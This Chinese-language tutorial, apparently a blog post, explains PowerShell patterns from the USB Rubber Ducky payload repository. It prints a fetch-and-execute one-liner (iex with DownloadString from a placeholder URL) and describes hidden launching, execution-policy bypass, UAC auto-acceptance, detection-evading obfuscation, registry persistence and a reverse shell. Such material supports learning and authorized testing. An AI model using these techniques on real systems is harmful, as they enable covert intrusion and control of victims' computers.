USB Rubber Ducky仓库中PowerShell常用技巧清单:系统命令调用模式
【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads
USB Rubber Ducky 是一款伪装成 U 盘的键盘注入设备,而这个官方 Payload 仓库中最核心的技巧,就是教会它"敲出一行 PowerShell 命令"。本文将带你快速看懂仓库中8 种常见的 PowerShell 系统命令调用模式,配合现成的扩展模块(Extensions),新手也能在 10 分钟内读懂并复用这些 Payload。🦆
一、核心原理:DuckyScript 如何"驱动"PowerShell
USB Rubber Ducky 的本质是一个"超高速自动键盘"。它不上传文件、不跑驱动,只做一件事:模拟人类按键。
所以在 Windows 平台上,几乎所有高价值 Payload 的套路都是一套固定组合拳:
- 等待系统就绪(
DELAY) - 按下
Win + R打开运行框(DuckyScript 中写作GUI r) - 敲入
powershell加一组参数,回车 - 继续敲入 PowerShell 单行命令,执行目标动作
理解了这条主线,下面所有技巧都是它的"变体"。
二、8 种最常用的 PowerShell 调用模式清单
1️⃣ 静默启动:-NoP -NonI -w h
仓库中最经典的启动姿势,三个参数的含义:
| 参数 | 作用 |
|---|---|
-NoProfile | 跳过加载用户配置文件,加快启动 |
-NonInteractive | 非交互模式,防止卡在提示符 |
-WindowStyle hidden | 窗口完全隐藏,用户看不到黑框 |
在 ReverseDucky 反向 Shell 载荷 中,这一模式与GUI r组合后,PowerShell 会在后台"隐形"启动。
2️⃣ 绕过执行策略:-ep Bypass
企业内网常设置脚本执行限制(ExecutionPolicy),Payload 会直接在启动参数里加-ep Bypass或-exec bypass,让脚本"当场生效"而不改系统策略。
上图来自 Starting_a_PowerShell_with_administrator_permissions_in_Windows 的实测截图:策略从Restricted变为Bypass,脚本即可直接运行。
3️⃣ 一键下载执行:IEX + DownloadString
这是"单行远程执行"的黄金公式——下载远程脚本并立即执行,全程不落盘:
iex (New-Object Net.WebClient).DownloadString('https://example.com/script.ps1')credentials/Hasta lasagna! 就是典型用法:先静默启动 PowerShell,再敲入这行"魔法命令"。
4️⃣ 文件下载四兄弟:Invoke-WebRequest等
如果只需要"下载文件"而不执行,仓库提供了 POWERSHELL_DOWNLOAD 扩展,内置 4 种下载函数:
Invoke-WebRequest(PowerShell 原生)Invoke-RestMethod(轻量版)Start-BitsTransfer(走 Windows BITS 服务,更低调)curl.exe(系统自带,行为最"正常")
通过DEFINE变量配置 URL 和输出文件名即可复用。
5️⃣ UAC 提权:CTRL-SHIFT ENTER
想要管理员权限?仓库的 WINDOWS_ELEVATED_EXECUTION 扩展封装了"运行框提权"技巧:输入powershell后按Ctrl+Shift+Enter弹出 UAC,再自动按Alt+y(英文布局)点下"是"。对德、西文布局也做了适配。
6️⃣ 随机化启动:ROLLING_POWERSHELL_EXECUTION
这是仓库里最有意思的扩展。ROLLING_POWERSHELL_EXECUTION 内置16 种 PowerShell 启动变体(大小写混淆、参数缩写、借助环境变量拼字符等),每次注入随机选一种,让命令字符串"每次都不一样",从而避开基于固定字符串的简易检测。
7️⃣ 注册表持久化:New-Item+Set-ItemProperty
不少"执行类"Payload 会写注册表(如HKCU:\Software\Classes\ms-settings\Shell\Open\command)实现自启动,DuckyHelper 展示了完整的"写注册表 → 触发自启动 → 清理痕迹"三段式写法。
8️⃣ Win11 控制台降级:让-w h重新可用
Windows 11 默认的新终端不支持-WindowStyle Hidden。WINDOWS11_CONSOLE_DOWNGRADE 扩展通过写注册表把控制台切回旧版 Conhost,静默模式即可恢复。
三、实战案例:反向 Shell 是如何串起来的
把上面几招组合起来,就是一个完整的 ReverseDucky:
GUI r→ 打开运行框powershell -NoP -NonI -w h→ 静默启动- 一段字符串拼接的 TCP 长连接脚本 → 建立交互式反向 Shell
攻击端监听成功后的效果如下(来自 ReverseDuckyUltimate 的实测截图),提示符Ducky@PS C:\WINDOWS\system32>表明 PowerShell 会话已完全接管:
四、新手学习路线建议 📌
| 阶段 | 建议 |
|---|---|
| 第 1 步 | 先读仓库根目录 README.md,理解 DuckyScript 3.0 与 PayloadStudio 编译流程 |
| 第 2 步 | 通读 payloads/examples/ 下的条件、循环、函数示例,掌握语法基础 |
| 第 3 步 | 对照本文清单,逐一走读 payloads/extensions/ 中 4 个 PowerShell 扩展 |
| 第 4 步 | 在自己拥有的虚拟机中测试,观察每种参数组合的实际效果 |
五、安全与合规提醒 ⚠️
仓库 README 已明确声明:所有 Payload仅供教育、授权渗透测试与安全研究使用。
- ❌ 严禁在未获书面授权的系统上运行任何 Payload
- ✅ 请先在隔离虚拟机中练习,熟悉每种命令模式的实际行为
- ✅ 提交新 Payload 前请阅读 CONTRIBUTING.md 的命名规范与配置要求
掌握这套"系统命令调用模式"后,你再去读仓库里几百个 Payload,会发现它们不过是这 8 种模式的排列组合而已。
【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考